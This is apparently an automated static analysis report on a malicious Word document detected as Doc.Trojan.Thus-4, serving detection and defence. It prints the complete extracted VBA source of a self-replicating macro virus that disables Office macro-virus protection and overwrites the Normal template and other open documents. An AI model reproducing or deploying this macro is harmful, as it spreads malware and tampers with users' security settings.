Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8cf3c7603e6224b…

MALICIOUS

Office (OLE)

46.5 KB Created: 2008-05-31 12:32:00 Authoring application: Microsoft Macintosh Word First seen: 2015-09-21
MD5: 208240d1fb369e9169932e927b8e58e0 SHA-1: dc2ec66955b9d4f1dfe44019ec458547c8f18980 SHA-256: f8cf3c7603e6224b26ea0fcf444619db0887346000ec5f595d97d78464fb5f34
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Mark-of-the-Web Bypass

The sample contains VBA macros that attempt to disable macro virus protection and replicate themselves to the Normal template and other open documents. This behavior is indicative of a macro-based malware dropper or downloader. The ClamAV detection 'Doc.Trojan.Thus-4' further supports the malicious nature of the file.

Heuristics 5

  • ClamAV: Doc.Trojan.Thus-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2329 bytes
SHA-256: 189a13069a62625583565b00704c28bfe34eba110bf4aa772a576bec801b41b5
Detection
ClamAV: Doc.Trojan.Thus-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Smyser'
' This virus is an alteration of a virus which was
' designed to delete all files from one's C: drive on Dec 13th.
' This code is completely benign.
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.deletelines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub









































'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'

Open this report in the interactive analyzer, or submit your own file for analysis.